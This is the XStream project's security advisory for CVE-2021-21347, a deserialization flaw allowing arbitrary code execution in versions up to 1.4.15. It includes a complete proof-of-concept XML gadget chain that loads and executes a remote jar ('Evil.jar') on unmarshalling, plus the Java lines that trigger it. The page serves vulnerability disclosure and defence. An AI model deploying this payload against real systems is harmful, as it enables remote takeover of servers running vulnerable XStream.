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  <head>
    <title>CVE-2021-21347</title>
  </head>
  <body>

    <h2 id="vulnerability">Vulnerability</h2>
    
    <p>CVE-2021-21347: XStream is vulnerable to an Arbitrary Code Execution attack.</p>
	
    <h2 id="affected_versions">Affected Versions</h2>
    
	<p>All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is
	affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security
	framework</a> with a whitelist limited to the minimal required types.</p>

    <h2 id="description">Description</h2>
    
    <p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
    XStream creates therefore new instances based on these type information.  An attacker can manipulate the processed
    input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.</p>

    <h2 id="reproduction">Steps to Reproduce</h2>

	<p>Create a simple PriorityQueue and use XStream to marshal it to XML.  Replace the XML with following snippet and
	unmarshal it again with XStream:</p>
<div class="Source XML"><pre>&lt;java.util.PriorityQueue serialization='custom'&gt;
  &lt;unserializable-parents/&gt;
  &lt;java.util.PriorityQueue&gt;
    &lt;default&gt;
      &lt;size&gt;2&lt;/size&gt;
      &lt;comparator class='javafx.collections.ObservableList$1'/&gt;
    &lt;/default&gt;
    &lt;int&gt;3&lt;/int&gt;
    &lt;com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data&gt;
      &lt;dataHandler&gt;
        &lt;dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'&gt;
          &lt;contentType&gt;text/plain&lt;/contentType&gt;
          &lt;is class='java.io.SequenceInputStream'&gt;
            &lt;e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'&gt;
              &lt;iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'&gt;
                &lt;names class='java.util.AbstractList$Itr'&gt;
                  &lt;cursor&gt;0&lt;/cursor&gt;
                  &lt;lastRet&gt;-1&lt;/lastRet&gt;
                  &lt;expectedModCount&gt;0&lt;/expectedModCount&gt;
                  &lt;outer-class class='java.util.Arrays$ArrayList'&gt;
                    &lt;a class='string-array'&gt;
                      &lt;string&gt;Evil&lt;/string&gt;
                    &lt;/a&gt;
                  &lt;/outer-class&gt;
                &lt;/names&gt;
                &lt;processorCL class='java.net.URLClassLoader'&gt;
                  &lt;ucp class='sun.misc.URLClassPath'&gt;
                    &lt;urls serialization='custom'&gt;
                      &lt;unserializable-parents/&gt;
                      &lt;vector&gt;
                        &lt;default&gt;
                          &lt;capacityIncrement&gt;0&lt;/capacityIncrement&gt;
                          &lt;elementCount&gt;1&lt;/elementCount&gt;
                          &lt;elementData&gt;
                            &lt;url&gt;http://127.0.0.1:80/Evil.jar&lt;/url&gt;
                          &lt;/elementData&gt;
                        &lt;/default&gt;
                      &lt;/vector&gt;
                    &lt;/urls&gt;
                    &lt;path&gt;
                      &lt;url&gt;http://127.0.0.1:80/Evil.jar&lt;/url&gt;
                    &lt;/path&gt;
                    &lt;loaders/&gt;
                    &lt;lmap/&gt;
                  &lt;/ucp&gt;
                  &lt;package2certs class='concurrent-hash-map'/&gt;
                  &lt;classes/&gt;
                  &lt;defaultDomain&gt;
                    &lt;classloader class='java.net.URLClassLoader' reference='../..'/&gt;
                    &lt;principals/&gt;
                    &lt;hasAllPerm&gt;false&lt;/hasAllPerm&gt;
                    &lt;staticPermissions&gt;false&lt;/staticPermissions&gt;
                    &lt;key&gt;
                      &lt;outer-class reference='../..'/&gt;
                    &lt;/key&gt;
                  &lt;/defaultDomain&gt;
                  &lt;initialized&gt;true&lt;/initialized&gt;
                  &lt;pdcache/&gt;
                &lt;/processorCL&gt;
              &lt;/iterator&gt;
              &lt;type&gt;KEYS&lt;/type&gt;
            &lt;/e&gt;
            &lt;in class='java.io.ByteArrayInputStream'&gt;
              &lt;buf&gt;&lt;/buf&gt;
              &lt;pos&gt;-2147483648&lt;/pos&gt;
              &lt;mark&gt;0&lt;/mark&gt;
              &lt;count&gt;0&lt;/count&gt;
            &lt;/in&gt;
          &lt;/is&gt;
          &lt;consumed&gt;false&lt;/consumed&gt;
        &lt;/dataSource&gt;
        &lt;transferFlavors/&gt;
      &lt;/dataHandler&gt;
      &lt;dataLen&gt;0&lt;/dataLen&gt;
    &lt;/com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data&gt;
    &lt;com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/&gt;
  &lt;/java.util.PriorityQueue&gt;
&lt;/java.util.PriorityQueue&gt;
</pre></div>
<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.fromXML(xml);
</pre></div>

    <p>As soon as the XML gets unmarshalled, the code from the remote server is loaded and executed.</p>

    <p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>

    <h2 id="impact">Impact</h2>

	<p>The vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by
	manipulating the processed input stream.</p>

    <h2 id="workarounds">Workarounds</h2>

    <p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p>

    <h2 id="credits">Credits</h2>
    
    <p>The vulnerability was discovered and reported by threedr3am.</p>
    
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